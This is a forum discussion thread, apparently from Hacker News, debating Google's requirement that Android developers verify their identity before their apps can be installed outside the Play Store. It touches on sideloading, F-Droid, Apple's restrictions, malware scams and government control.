> Moving to Apple is the only logical step.
Or a f.u.Google step. I'll despise the straight-jacketing of Apple but my anger about Google's dick-move will keep me going.
I'm going to be buying Apple from now on. If I have no choice and I have to be in a walled garden, I'm going with the best dammed walled garden on the market.
This isn't even going to be some sort of an ideological decision. It's simply the intelligent choice.
China has a whole slew of more advaced phones than we have here. They just can't export them to us because 'IP' and other 'security' restrictions.
Isn't it basically the same requirement as Apple enforces for iOS? If you want to build an iOS app which other users can install, you must register (and pay).
It's a step of questionable utility, and I suspect it comes from requirements of (not exactly freedom-loving) governments of Brazil, Malaysia, and Singapore, where the demand for registration will be enforced first. Maybe it will even remain geographically limited.
The article is very light on details. Crucially, it lacks any links to actual Google documents.
> Isn't it basically the same requirement as Apple enforces for iOS?
Yes, which is why it's bad.
Ultimately it’s them that has market power.
To meaningfully challenge it, developers need to agree to withheld supply like a cartel (illegal?) or union.
I think it’s probably close to the union scenario in an industry with a single employer, as there is that one too many relationship (all developers vs Google). Whereas a cartel is a few suppliers conspiring against all consumers.
I’m not sure developers would go to those lengths, and I’m not sure it would work either as the benefit is too high from defecting from such a coalition.
It's not illegal to not release your software on a platform. But the mobile market is so top-heavy on both the apps and the games side, that without a few key developers - Meta, ByteDance, Tencent, etc your union is dead in the water - and the top 1% of developers would very much like to more friction for new developers, not less.
If Apple or Google convinced a court you formed a cartel then that's the end of the story. Whether it's a cartel in the eyes in the public would be irrelevant.
They did it the right way for a very long time and yet people keep buying iPhones, I think I would do the same if I were them, users clearly don't seem to care about openness and freedom to use their devices however they want. I mean, people care about the color of archaic text messages. There is nothing to save.
Why would they do something to hurt the customers that stick with them, just to spite the ones that don't?
Android has like 70-80% global market share.
And none of that (sadly) is about openness. It's about price. The iOS share of mobile spending is basically the inverse: ~70% iOS, ~30% Android.
Spending on hardware, or spending on in-app purchases?
Neither, they are talking about 'the ratio of people buying apps'.
iOS market share: 56% in Australia (where I live) [1]; 58% in United States [2]; 47% in UK [3]; 64% in Japan [4]; 60% in Canada [5]; 55% in Denmark [6]; 54% in Switzerland [7]; 55% in Sweden [8].
Yes, I've cherry picked from the minority of countries with near or over half iOS market share. But, they're all high GDP countries with a very valuable customer base. Apple and Google care about these markets, they don't care about global market share.
[1] https://gs.statcounter.com/os-market-share/mobile/australia [2] https://gs.statcounter.com/os-market-share/mobile/united-sta... [3] https://gs.statcounter.com/vendor-market-share/mobile/united... [4] https://gs.statcounter.com/os-market-share/mobile/japan [5] https://gs.statcounter.com/vendor-market-share/mobile/canada [6] https://gs.statcounter.com/os-market-share/mobile/denmark [7] https://gs.statcounter.com/os-market-share/mobile/switzerlan... [8] https://gs.statcounter.com/os-market-share/mobile/sweden
The nice thing about Windows is that you don't have to. You will need to pay a couple hundred dollars for a certificate and have the first couple hundred people who open your signed executable click through your warnings though.
Yes, you can turn off smartscreen (for now) but opening random executables is getting harder and harder.
>Absolutely nuts and it will not go as they think it will.
Apple will disagree and the first company doing worst than this, and is the world's first trillion dollars company.
Money talks.
Ah, then it would be acceptable if an independent third party who does not share data with Google other than Boolean yes/no was used to do this. I expect that’s their long-term plan anyways, to defuse the predictable backlash and externalize the problem and liabilities altogether, once the initial ID harvesting is done.
I think google has incentive to get that data for themselves so they won’t give that up.
One of those would be in corrupt countries you don’t have the „trusted 3rd party”
Uh, you kind of already do if you don't want to get the scary "unknown publisher" thing, which hides the "yes, I really want to install it" inside the "more info" box. Not even the decency of an "advanced" button.
Installer software signing certificates that will satisfy MS are prohibitively expensive for hobbyists (hundreds per year).
While this did funnel countless FOSS and commercial developers to pay MS for certificates, it didn't close even 50% of loopholes. You can still execute third party software from your own (e.g. Steam launching games you install with it). You can also use interpreters, JVM and other ways to disregard the requirement.
If fact, the reason why MS can charge for "nearly mandatory" executable signing is because it is not mandatory at all. If they really were forced to close loopholes, they would have made it free for everyone, — just like Let's Encrypt was made free of charge to establish mandatory encryption across the Web.
Android is much more secure than windows (its architecture was developed decades later from learned lessons)
So yeah, its different and more aecure
Someone create a website to emulate apk!
Their comparison to airport security is apt. The US considers airports “constitution free zones”, and apparently they think the same of phones now too.
Cutting through the excuses, this is just another step in converting the US from a democracy to a fascist dictatorship.
Want to write software?
Papers please.
Yeah, it's like we've given up. Between third-party doctrine, border enforcement being excluded from 4th amendment protections, and 100-mile zones around international airports being considered "the border", it's like there's no place left where the constitution applies. How did we forget why we made these rules in the first place? It's not like the risks are smaller today than they were 250 years ago...
I'm not sure it's so much that we forgot why we made them, it's that we forgot we need to maintain and enforce them and they won't somehow automatically prevent oppression just by being written down on a piece of paper in the national archives.
Corporations are reading the room and pulling out any hostile tactic they've kept in their back pocket waiting for an occasion like this.
This is only the beginning with digital IDs. It's absolutely going to get worse and all of human history is available as evidence to what occurs with unchecked power.
USA was a democratic country just less than a year ago. Are there constitutional ways to remove a bad actor or a traitor from the power?
It looks like pattern there is that a some powerful guy or company just removes rights and freedoms we had by small pieces. Those small pieces are not worth to fight for, until frog is boiled alive.
Narrowly filtering the erosion of civil liberties through partisanship misses the larger picture. Both goal posts consistently trample civil rights. The purported motives vary, as do the demonized classes. Regardless of how valid those motives may be, the results consistently erode civil liberties.
With the latest W11 updates, how far are we away from that?
I mean if you want to avoid smartscreen BS you already need to sign your Windows executables with EV code signing cert that is not cheap and issued only to registered businesses sooo...
Why would it not go as they think it will? The big guy always wins against the little guy. The fact they make this move suggest they know it is a sure bet.
Doesn't macOs also requires this when you use stuff like keychain in apps? I remember signing my flutter macOS app with my info using xcode.
wont it just open the door for alternatives? linux on pc and ??? on mobile?
Microsoft is trillionaire company and still failed to do that
lets that sink it on how hard to make ecosystem
You do realize windows already does this right?
Sounds like you haven't used an Android. What Windows does is the exact same as what Android currently does, showing lots of warning screens. Which is very different from banning them altogether.
Can you explain in what way Windows already does this?
If an executable isn't code-signed, Windows SmartScreen displays a big scary "This file may harm your computer" warning box, requiring multiple clicks to get past. Been like that for years.
Code-signing certs used to be very expensive and annoying to obtain. The situation has improved a lot since the launch of Azure Trusted Signing, and now it's roughly on par with the cost and annoyance level of code-signing for Mac binaries.
Big scary box might as well be outright disallowing, since someone who isn't 100% sure about your software will likely be dissuaded by the warning. But if they want to install it, then they can.
My understanding of the article is that there is nothing that a user will be able to do to install your software.
> “developers [that we approve] will have the same freedom to distribute their apps directly to users through [installation] or to use any app store they prefer.”
So, less freedom.
So long as they don't make it very hard to get an ID approval, I don't see why people shouldn't know who developed an app.
Currently the entire ecosystem is riddled with malware, spyware, or adware with shady source information and people have no way to verify the data practices
They have the ecosystem by the balls. Phone manufacturers in recent years have been making unlocking & modifying their devices more and more difficult, google and app developers have been cracking down harder on modded devices by implementing TPM equivalents in the hardware to sign and verify that your system is a google-appproved one, and alternatives still are decades behind in terms of app ecosystem.
I think they might just get away with it.
I would say this is a bold choice for a company whose existing restrictions around third party apps and stores and in-app purchases has already been found illegal. While it doesn't look like they're pushing for it right now, forcing Google to sell Android was something the DOJ has considered as a penalty.
I'm not sure Google still has the ecosystem by the balls. It's very possible whatever Googlers who made this decision are the type of folks who don't comprehend they work for a monopoly that like actually can't do things like this anymore.
Maybe they gave a political donation?
It may also help to push things one way to prevent them from going the other way.
> and alternatives still are decades behind in terms of app ecosystem.
That's if they're available at all. In my country, only cell phones certified by the telecommunications government agency (ANATEL) can be imported, so the alternatives (Jolla, PinePhone, Fairphone) simply don't exist.
If you don't mind sharing, which country is that?
It takes less time to search and find that Anatel is the Brazilian telecom agency than it does to type that comment.
They do marvellous things like mandate weird Brazilian Android games on the phone I bought in Brazil.
It's incredibly obnoxious when people type "in my country" as if we're all supposed to just... know where they live. It's also incredibly common. Why do people do this?
The actual country is not relevant, the important part is that countries exist where this is the case. Mentioning the specific country invites potential bias that means people may not take the concern seriously, thinking their country wouldn't do the same.
I usually say that to let people know: I'm not from the US and i'm not comfortable letting people know which country i am living in.
Image asking someone where they’re from only to be told a US state, and only the state.
Asking where somebody's from and having them respond with the state is not unreasonable -- you can already tell they’re American from the accent. The US is huge, about half of its states have more land area than half of the countries in the world. Asking where someone is from and receiving "the US" in response is about as informative as someone from Europe replying "Europe". Like yeah, obviously, I could tell by your accent, but where in Europe?
Funny thing is that americans do that all the time, even in international settings like a coworking space full of expats. Everybody introducing themselves with a "hi, I'm from this country", except americans telling their state or city. Are they expecting us to be familiar with their geography, or just unaware of alternative geographical frames of reference?
I don't think that is strange at all. If you can reasonable assume the person you are talking to is aware of e.g. England, Minnesota, Scotland, Tasmania, Sicily or what not you can go straight for that?
Do you assume everybody is able to recognize Americans or Europeans "from their accent" ?
Americans? Honestly, yes. If not, what good is this cultural imperialism after all?
Apart from Georgia, I don't see how this could be a problem
I'd think passive recognition of a fair few states would be a pretty low bar for relatively educated, English-speaking people. It's a pretty low bar, just placing a region with its country. People also regularly just assume that level of knowledge for globally- or culturally-relevant cities.
Maybe I think too highly of people, but I'd also imagine most would be able to get say... 6/10 right, for which countries the following list is from:
- Flanders
- Nova Scotia
- Brandenburg
- Guangzhou
- Tasmania
- Minas Gerais
- Catalonia
- Chechnya
- West Bengal
- Bali
> Image asking someone where they’re from only to be told a US state, and only the state.
Atlanta or Tbilisi?
> mandate weird Brazilian Android games on the phone I bought in Brazil.
Uhm, this sounds more like something from the Ministry of Culture, maybe some tax incentive for manufacturers promoting local productions.
I could be wrong though. Curious to know if Anatel has issued any ordinance in this regard, just did a quick search but could find nothing so far.
But now I do not have to google that.
When I google ANATEL, it comes up as Brazil
Don’t worry though, the TPM requirements in everything are for your protection.
Unless they give F-Droid access, the antitrust prosecution will double.
Yeah, I'll just ditch Google over this. The only reason I put up with their crap is because I can actually just install software on my phone. If they take that away, there's no motivation to stay.
And go where? IOS is worse as far as openness and controlling your own hardware. And the Linux phones are not exactly practical for normal use.
If I can't run F-Droid and termux and all that, I have no need for Android supposed freedom. I'll just use an iPhone (it would be the first time!), minimize my use of mobile platforms to the maximum extent I can and stick with Linux laptops.
I'm currently researching Android alternatives, including Librem and Jolla C2, and I'm skeptical that those will be compelling. It's just so sad.
I’ve been daily driving a Librem 5 for two years. It’s not compelling, but I’m surprised at how little all those tiny inconveniences matter in the long run.
I think we tend to underestimate our ability to get used to stuff.
I suspect that many developers publishing on F-Droid, and the F-Droid itself, may obtain registration, and continue to be available, termux and all.
But not every developer, of course, would agree to register.
There are so many apps which just work and don't need updates.
All of those will disappear also on F-Droid because of that.
If both phone OS's are going to be the exact same on user choice then you might as well compare the two on their merits and this is not a comparison Android wins.
You forgot "IMO"
Exactly how you control your "own hardware" on your Android ?
I rely on fdroid and am not sure what I'll do with this pixel 6a. I sometimes root, sometimes don't but I may have to get on the lineageos program full time. And I'm hoping for a rumored last batch of pinephone pro phones to be available later this month although I have no illusions about it being a real daily driver.
LineageOS currently says that it won't install over the latest update on the 6a.
You can try it, but don't cry if it bricks.
The newish one I bought got GrapheneOS instead. That worked without a hitch, but it's got more than a few problems.
What problems are you running into on Graphene OS? Maybe we have different workflows, but it works just fine for my purposes.
I have issues getting sms pass through to a secondary profile, especially if it is a group message or contains media. I have to remember to open the messaging app for it to actually refresh and download/notify me of new messages.
It didn't used to be like this but started maybe a year ago.
No root is the dealbreaker.
The browser doesn't handle dark mode well.
The launcher is primitive. Why didn't they just take Trebuchet?
I was also very used to pattern unlock.
No root is a major security feature, you have chosen an OS that prioritizes security.
Use some other browser if dark mode is really important to you.
I think the launcher is good and I can't think of anything to improve on it. I'm happy it's the default, but I'm sure you can switch to a different launcher if you want.
Pattern unlock is also not there because of security.
fdroid is based in the EU and the Cyber Resilience Act was already going to force them to either make their filters more strict (absolutely prohibit anything with any sort of "monetization"), or start collecting this data.
If they have anything on the platform that is subject to the CRA, they are a distributer:
https://www.cyberresilienceact.eu/cra-guide-for-importers-di...
Ditch Google for what?
I responded elsewhere, but to summarize:
Use an iPhone, minimize my use of it. Continue to emphasize Linux on all my other devices. Move away from Google and Apple services to as much self-hosting as possible. Leverage TailScale to make my services accessible, globally, without actually exposing them on the internet. I'm just assuming that I will have to have some kind of attested device in order to run banking and payment apps and that might as well be a locked down device like an iPhone.
This is the way. I've been living this life for a while now and IMO it's the best way to go in 2025.
An unofficial build of Android, like Grapheneos. It likely won't be able to install apps from the Play Store, but at that point it might be a blessing.
grapheneOS relies on the goodwill of Google to keep Pixel devices open right?
They are apparently in talks with a vendor to produce official devices. But yeah, the open Android ecosystem is shrinking.
Samsung recently stopped allowing the bootloader unlocking. HTC stopped allowing bootloader unlocking in 2018.
My bet is on Nothingphone or Fairphone remaining open for a while.
> the antitrust prosecution will double.
In Brazil? In Malaysia? In Singapore? I highly doubt it.
I don't think Google can be blamed for this - their own phones are one of the last which can still be unlocked.
They're also the best equipped to tell if you've done so, and restrict access from critical functionality needed by many in their day-to-day lives if you've done so.
The intentions behind all the security hardware they introduced in pixel phones first, and is now required by play integrity to function might've been well-meaning, but that doesn't really matter in the end. Security features that the user can't control and bypass aren't security features - they're digital handcuffs.
true, and recently they deserved a lot of credit for publicly releasing their device trees and drivers. unfortunately, with the 10 series pixels they no longer will be releasing device trees, which makes it much more difficult to maintain custom ROMs
How did we let this happen?
Oh, yes... Actually I remember: it was a long slow series of accepting small artificial restrictions. I remember people laughing at me at the time. They said it won't matter, they didn't care, that I was paranoid...
Now... Here we are.
Unless this is used to block TikTok or ChatGPT users still won’t care and people will still laugh at us for caring, or think wanting privacy or control of your computers is suspicious or ungood.
and don't forget all the people with the dismissive remarks about how it didn't affect them on their Graphene or Calyx phones. We're all downstream of something. The real product of Android for us was always the interoperability with the normal world for the tinkerer.
>their Graphene or Calyx phones
An important reminder: if your escape hatch is an economic irrelevancy, it might as well not exist.
See: Google search with '-ai'.
Though the founders don't stand for it, they unintentionally exist to capture the most vocal people and diverge them from the norm such that the uninformed consumer has no defenses. It's as if the kinds of people who would support the civil liberty charity said "to hell with it" and founded their own parallel society.
look at all those HNers happily cheering at Apple's walled garden. Not surprising that there would be many pushing for a similar garden in Google too.
Mobile phones have never been free, we may just need to acknowledge this. From the 90s where telecom companies controlled everything, to now, where only 2 companies control everything. The only way to push back is through vendor-independent standards, especially for all security related stuff (because at the end of the day, security is the problem they are trying to "solve"). If standards exist, alternatives can be built.
eternal september
We had no part in this. The blame lies squarely with Google and its employees, who trade away user freedom for profit and career gain. Many who are smart enough to know better but instead compromise their principles. It's just another symptom of late-stage capitalism.
We shouldn't accept "sideloading" as a term. It's meant to make "installing an app without monopolist approval" seem like a dirty/weird/niche trick.
> Google notes “supportive initial feedback” from government authorities and other parties:
Ah, then I guess everything is fine. I'm sure they aren't in favour because it gives governments greater control over what apps we're allowed to have on our phones. That would be absurd.
I feel like that makes the most sense. That this isn't something Google thought up but something that the EU wanted to ensure its government ID app was "safe". Google does benefit but the timing seems to line up.
They trialled this in Singapore and I’ve been telling people on Hacker News that it’s been going to happen for a while:
> Singapore Android users to be blocked from installing certain unverified apps as part of anti-scam trial (07 Feb 2024)
— https://www.channelnewsasia.com/singapore/google-android-dev...
It makes total sense to the average person. There has been a constant stream of “yet another Android user got scammed out of their life savings because of Android side loading; iPhone users not affected”
It’s an inconvenient fact for power users, but side loading makes users significantly more vulnerable to scams and restricting side loading is both a predictable and reasonable response to that fact.
If you don’t like this, you need a better argument than “my desire to run any app I want is more important than pensioners losing their life savings” because that is not a winning argument with the average person, with governments, or with Google/Apple.
— https://news.ycombinator.com/item?id=44194034
> As I’ve mentioned here before, sideloading is a genuine security concern, not merely an excuse for Apple to exert control. There is a never-ending stream of people losing their life savings. It happens on Android and not iOS because Android allows sideloading and iOS doesn’t. There is a very real human cost to this.
> Police warn new Android malware scam can factory reset phones; over S$10 million lost in first half of 2023
> There have been more than 750 cases of victims downloading the malware into their phones in the first half of 2023, with losses of at least S$10 million (US$7.3 million).
— https://www.channelnewsasia.com/singapore/android-malware-sc...
> DBS, UOB become latest banks to restrict access if unverified apps are found on customers' phones
> They are the latest banks in Singapore to do so – after OCBC and Citibank – amid a spate of malware scams targeting users of Android devices.
— https://www.channelnewsasia.com/singapore/dbs-uob-anti-scam-...
> 74-year-old man loses $70k after downloading third-party app to buy Peking duck
> “I couldn’t believe the news. I thought: Why am I so stupid? I was so angry at myself for being cheated of my life savings. My family is frustrated and I ended up quarrelling with my wife,” said Mr Loh, who has three children.
— https://www.straitstimes.com/singapore/74-year-old-man-loses...
> Singapore Android users to be blocked from installing certain unverified apps as part of anti-scam trial
> "Based on our analysis of major fraud malware families that exploit these sensitive runtime permissions, we found that over 95 per cent of installations came from internet-sideloading sources," it added.
— https://www.channelnewsasia.com/business/anduril-secures-305...
> CNA Explains: Are Android devices more prone to malware and how do you protect yourself from scams?
> Why are scammers more likely to target Android users? How do you spot a fake app and what should you do if your device is infected by malware?
— https://www.channelnewsasia.com/singapore/android-malware-sc...
> Nearly 2,000 victims fell for Android malware scams, at least S$34.1 million lost in 2023
> In 2023, about 1,899 cases of Android malware scams were reported in Singapore. The average amount lost was about S$17,960.
— https://www.channelnewsasia.com/singapore/android-malware-sc...
> Android users in Singapore tried to install unverified apps nearly 900,000 times in past 6 months
> These attempts were blocked by a security feature rolled out by Google six months ago as part of a trial to better protect users against malware scams, which led to at least S$34.1 million (US$25.8 million) in losses last year with about 1,900 cases reported.
— https://www.channelnewsasia.com/singapore/android-users-inst...
Malware exists, but you are only focusing on the benefit of removing user freedoms. Can you provide a similar analysis of the costs, or do you just ignore them because they are hard to reason about?
F-Droid is a massive win for the mobile ecosystem, probably the last bastion of useful free software for mobile devices. Being able to build an APK at home and run it on my phone is the ideal way computers should be used. But you can't put a price on these freedoms.
You're advocating for a system that removes the least abusive app store so we can hand more control to the most abusive app store. I can't support that, especially when it's glaringly obvious that walled app store are neither necessary nor sufficient to provide safety for users.
I think your comment highlights the balancing act of providing an open platform while also protecting the average user. I'm sure everyone here knows that the average technology user is not the brightest or savvy. Making changes like putting scare screens before side loading an app is a good compromise on the user side. However it does make it more difficult for app developers to distribute their apps that way. Anyone with basic security training will be cautious about going further. So you've effectively limited your audience just to power users.
However moving to a whitelist system I think is counterproductive. Especially when Google is the only one with the power to edit that list. There is a reason Microsoft or Apple never went down this route in the name of security. It's just too much of a burden on them and it hinders power users, hobbyists, and small developers. Cases where one might want to keep their identity to themselves are edge cases but they are VERY important edge cases.
I know the situation in Singapore and Thailand and I was curious if there would be anyone mentioning it in this discussion. Thank you for your comment, you should be upvoted.
All of those links 404s for me. Can you explain how the malware works? You are aware that it's not the app store that protects you, but the sandboxing? Are these impersonation vectors, ie phishing?
Oh, thanks for pointing that out. I copied and pasted from my previous comment here:
https://news.ycombinator.com/item?id=44194034
I didn’t notice that Hacker News had truncated the URLs for display. You can get to the articles by following the links in the original comment.
> You are aware that it's not the app store that protects you, but the sandboxing?
Both protect you.
> Are these impersonation vectors, ie phishing?
It’s a variety of things. Some use accessibility hooks to act as key loggers. Some seem to use exploits. Some are phishing by impersonating other apps.
When governments across the globe are becoming more authoritarian, we need to protect our ability to run whatever app we want. Otherwise they'll ban communication apps when we step out of line and protest, as we've seen in places like Hong Kong on more locked down platforms like iOS. This isn't about power users. It doesn't matter how many links you post. The US is literally turning into an authoritarian dictatorship before our eyes. Germany's AfD now commands 25% of the vote and it keeps increasing. Far right parties are gaining ground everywhere.
We can't be handwringing about safety right now, because our right to free speech and to protest are at stake. Our democracies are at stake here.
The vast, vast majority of android malware that's used is on the Google play store. Because that's where the vast, vast majority of apps are from.
This is a completely made up and hallucinated problem. I will not mince words - this is a blatant attempt at deception.
We do not need to block sideloading to:
1. Stop malicious apps (does nothing)
2. Stop users from side loading
If we want to stop sideloading, we can simply introduce an arduous process to enable side loading. For example - consider turning on ADB. Do we vaporize ADB? No, because that's fucking stupid.
But now when it comes to apps, that little nugget of information is suddenly conveniently not considered.
It makes perfect sense. Clients of Google are businesses and governments, not users of free products. They used to be less open about it until recently
It will be interesting to see how they handle packages from the various f-droid repos. F-droid builds and signs all their apps themselves, so will all of f-droid be covered by a single signing key and developer account? Or will the fact that they take apps from lots of folks bar them from an account?
F-Droid generates a unique key for each app and that key is then reused for all builds of that app. This will probably just require registering the F-Droid public key to the package name with Google.
Google to F-Droid: "no signature for you"
Apple did this to Epic when the EU threatened to intervene.
I'd bet money they'd just ban them; the whole point is to stop users running unapproved applications on their phones.
Unless I misunderstood the question, this is covered in TFA
> The tech giant stresses that this does not mean developers can’t distribute outside of the Play Store through other app stores or via sideloading — Android will remain open in that regard.
You have misunderstood the question, or perhaps buried the lede. 'Open in that regard' is tantamount to not open at all. If you gatekeep being able to load an app to an Android phone behind these processes, you're essentially stuck with no recourse if you, say, have a banned google account, or have some reason you don't wish to send your government ID to these companies.
It also makes sure you only get one ID for life. There’s no creating a second account if you get banned because they’ll (likely at some point) collect biometric data as part of the verification process.
These big companies need to be broken into a thousand pieces. They’re starting to become the gatekeepers of participating in society.
Who's going to break them down? The governments also want this.
Right, governments have found it very convenient to let Big Tech do most of the data collecting that would be politically problematic if they collected it themselves directly.
One doesn't have to be Einstein to realize why governments everywhere haven't cracked down on Big Tech's excesses/privacy breaches etc. ages ago.
You only have to look at the UK/Apple fiasco to see to see how desperate governments have become for user data. In this case the UK Govt. was so desperate for user data it overstepped the mark. (At least until now most other governments have been prepared to sit on the sidelines and just sap Big Tech for user info whenever they want it.)
I was responding to this:
> I'd bet money they'd just ban them; the whole point is to stop users running unapproved applications on their phones.
I wasn't trying to claim everything is hunky dory, just that they aren't "going to just ban" other app stores.
If apps aren't allowed to run without a key signed by Google, that removes most of the utility of other app stores, does it not?
Your own quote shows the source of the confusion. OC was asking how will google handle apps that have somebody else signing for them. Your quote talks about letting devs that go through a verification process still side load (though that has no real benefit at that point since google still holds control over you)
How does that jive with this statement:
>The Play Store implemented similar requirements in 2023, but Google is now mandating this for all install methods, including third-party app stores and sideloading where you download an APK file from a third-party source.
Does that amount to "just ban[ning]" other app stores? If not then... it jives fine? Not here to say it's a good thing.
Initially they will help them. Once it becomes widely accepted that sideloading isn't a thing, they will ban them.
I always wonder, who are the developers doing this? don't they feel bad about going through with these changes or do they fool themselves thinking it's the right thing? is it greed?
many other fields have an explicit or implicit ethics code which we seem to lack. I'm thinking about other fields like medicine, engineering, etc. Probably since the entry level to development is low and anyone can do it, it means there's no way to enforce/teach it?
The usual answer that their livelyhoods depend on it is simplistic, these are the best paid developers in the US, pretty sure they have some sway power. There are doctors in way poorer countries with higher ethics standards.
They think they're fighting malware, because that is their main motivation.
They're just not also worrying about other effects like making it easy for governments to ban software, or making it hard for people to write software under a pseudonym.
Paternalistic mechanisms are relatively popular in security engineering right now because users are so often unsophisticated and time-constrained, while attackers are so often sophisticated and well-resourced. Paternalism almost always responds to real risks and threats, so it doesn't feel malicious because it's not rooted in malice.
I'm glad that people are so worried about this change, because I find it really alarming. But it's not like restrictions on people's choices have been that unusual as a response to dangers in modern history. In fact, professions like public health, occupational safety, and tort law often seem to presume that the general public probably shouldn't be allowed to make certain kinds of dangerous choices. They might be ethically wrong about that, but they clearly don't see themselves as bad guys for thinking so.
that's a good point. As a developer, this particular case obviously I understand much better and see the where it leads - the opposite direction of the openess that made PCs and computing so revolutionary in the last few decades.
It's also worrying that in this case it's a private corporation the one calling the shots. Naively, in the other cases you mention it's at least government dictated which means there's some sense of accountability and transparency to the process (not saying that it's perfect of course).
I think they believe it is a good change, becuase they're tasked with fixing the fact users can install malware. They've been telling themselves their propaganda for months/years before the changes hit production
Yeah, I guess so. That must lead to a lot of cognitive dissonance as I am sure these are not "evil" people, they just find a way to rationalise it away.
What makes you so sure that such a hypothetical code of ethics would promote user freedom? I think it far more likely that protecting the user from harm (i.e., not allowing the user to install malware) would appear in that code.
Philosophers have been arguing about morality and ethics for thousands of years, and are no closer to consensus than they have ever been. The idea that 'I should be allowed to do whatever I want with computing machinery that I have bought' is a political choice, and because only a very small proportion is able to exercise that belief or even understand what it means, it is highly susceptible to being discarded in favour of beliefs like 'do whatever it takes to get the scammers off the internet'.
> The usual answer that their livelyhoods depend on it is simplistic, these are the best paid developers in the US, pretty sure they have some sway power.
You think that Google's best and brightest are working on the Google Play store?
Google engineers are among the best paid in the US.
> You think that Google's best and brightest are working on the Google Play store?
No idea, whoever they are they're still well compensated and can afford some resistance
> What makes you so sure that such a hypothetical code of ethics would promote user freedom? I think it far more likely that protecting the user from harm (i.e., not allowing the user to install malware) would appear in that code.
Maybe? Maybe not? I never said I'm sure of it, but computing is built on a history of openness and interoperability. We at somepoint agreed having open hardware and protocols was the way to go, and we were right. A lot of the world runs on open source software, we managed to built the internet, we have PCs where you can swap components and it just works. None of that is obvious if you were to re-invent it in 2025. Malware is an excuse, you can battle that without losing any of the above.
> No idea, whoever they are they're still well compensated and can afford some resistance
Claiming that people you've never met are sufficiently financially secure to risk their livelihood for your protest movement is the kind of hubris I hope to never have.
> computing is built on a history of openness and interoperability
There was nothing inevitable about this, and while it is the superior engineering choice, that's not how decisions are made. Open standards and protocols only gained industry support because those industry players were trying to commoditise their complements, and open standards were the only way to achieve that. There are plenty of players in the industry who work under the monolithic closed-source model, but we 'cool kids' never hear about them, because they only talk to massive businesses with procurement departments.
>> Claiming that people you've never met are sufficiently financially secure to risk their livelihood for your protest movement is the kind of hubris I hope to never have.
I don't understand your agressiveness towards me, this is a conversation, we can talk and disagree without insulting.
I don't know every developer at Google or their situation but the idea that they're victims of a system that forces their hand is a stretch. There's people resisting changes they don't want at every step of the soci-economical ladder in different countries across countries and cultures. I can 100% understand a single person not being able to do so given their life circustances, but we're talking about a change across an organisation that probably encompases 100s of people, this is not resting on a single person. As I said in my original post, there's doctors in poorer countries with better ethics, what's different about developers?
> I don't understand your agressiveness towards me, this is a conversation, we can talk and disagree without insulting.
I agree wholeheartedly, and if I really wanted to insult you, I wouldn't bother replying to you at all. You're clearly putting some thought into this, and I respect that, but I think your take is really bad.
I work in the gambling industry. Each weekday, I start my laptop with the knowledge that thousands of people will be hurt by the work I do. Not just the people who play the games, but their families, their children, and, in some cases, their employers who are embezzled from. But my employer treats me better than any other employer I've had, and not just in terms of money (even though I'm not well paid as far as software engineers go). My first career was as a schoolteacher - the poster child of the ethical career - and my fellow teachers treated me like dog shit, in numerous schools: people will do awful things to each other when they believe they're acting for 'the greater good'.
I don't think we can argue that the software engineers at Google are acting unethically because we don't know what choices they have, and we don't know what obligations they have outside their work. I'm not sure that we can argue that 'software freedom' is beneficial to everyone outside a small elite of power users. As much as we can argue that what Google has decided is bad for us as individuals, I don't think we have enough information to morally condemn the people who made and implemented that decision.
In my country, and I believe it's true for surronding countries too ... we are tought to earn money, ethics comes later. They do not see the deeper implications, nor care about ethics, as long as it's filling up their bank.
Obviously, there are people who are different ...
I have a couple of friends working at Google. They don't care about this stuff at all. They seem to be completely bought into the "every man for himself" neoliberal worldview. My sample size is obviously small, but judging by the actions of the company, my friends seem not to be the exception.
> don't they feel bad about going through with these changes or do they fool themselves thinking it's the right thing? is it greed?
They sure as hell must feel good about their fat checks for killing freedom.
They truly believe that the sole reason why someone would want to not distribute apps in their own name is for malicious purposes.
This is the worst thing to happen to technology in recent times since there is only two major phone OS's.
It isn't possible to ban encryption, so the governments have to chip away at security and privacy using these techniques.
From: https://developer.android.com/developer-verification
"You may also need to upload official government ID."
This won't end well for Google or the governments involved when the people get so angry that they are forced to roll this back. Switch to an alternative phone OS.
> This won't end well for Google or the governments involved when the people get so angry
The amount of people this makes angry is so minuscule that it probably wouldn’t even pass one of those theatrical “sign this petition to get the government to discuss it” thingy. Mind you, the only reason the whole side-loading court cases were going forward is because a giganormous company (Epic) wanted to make more money instead of paying the Google/Apple tax. Not because some people were angry.
This is a lot more complicated than that. I'm not sure how I feel about the demand for government ID. The demand for money that comes with the app stores I find to be a problem and so does the EU, that was a big point of the DMA. It remains to be seen how those regulations play out. Maybe the DMA won't do what I want. But the DMA seems to be aimed at this sort of thing, even if it actually has the same sort of requirements around government ID, it does require openness.
In this instance, quantity isn’t as important. The people it upsets are a loud bunch of a great deal of influence.
They don't. There was a similar uproar when Apple forced developers to share their addresses on AppStore publicly in EU.
Recent precedent suggests it only takes one really angry person to get a company to reconsider its course of action. The problem is software devs are far too comfortable for such action.
> the people get so angry that they are forced to roll this back.
This is political fantasy. There is no mechanism for "the people" to force anyone to roll this back. They can vote for the candidate owned by google, or the candidate owned by google. If they want to find another candidate, they'll have to use google to find one.
Agree and disagree: the pressure on unity worked, and Sonos and, IIRC on Google's "federated cohorts" idea.
But often people try to project their opinions onto "the people" and predict they will rise up, and there's probably 100 predictions in comment sections that are completely spurious to every one that actually happens
So I'm not sure, but if I had to guess this one is a rare case where there may be real prospect of backlash.
If enough people internal at Google get pissed off and raise this up enough it can legitimately get rolled back.
They will just get sacked for sycophants either here or abroad. For every principled worker there is, there is another person willing to eschew those principles for that paycheck. This is a desperate world by design to enable these tradeoffs by the very people who build, maintain, deploy, and ultimately control the worlds systems.
A better world is possible. Rise up, workers! You have nothing to lose but your chains!
and your salary
If you're in a product-adjacent role at Google there's a 100 other companies that would hire you. Yes, even in this market.
And another 100 applicants for your open position at Google.
If the workers rise up properly, they can reposses oligarch riches instead!
History has seemed to show the only likely outcome is the violent redistribution of riches from one set of oligarchs to another.
Absolutely not. The French revolution overall had enormously positive effects on Europe in terms of equality. A quick look into that period across Western Europe will give you numerous cases where suddenly the powerful became uncharacteristically eager to let go off significant parts of their power. In fact this event may well have had the biggest such effect of any event in history.
A recent event last year in the US also immediately resulted in actions undertaken whereas peaceful protests did not. Mostly protective actions, but it showed a very clear impact, the contrast was stark.
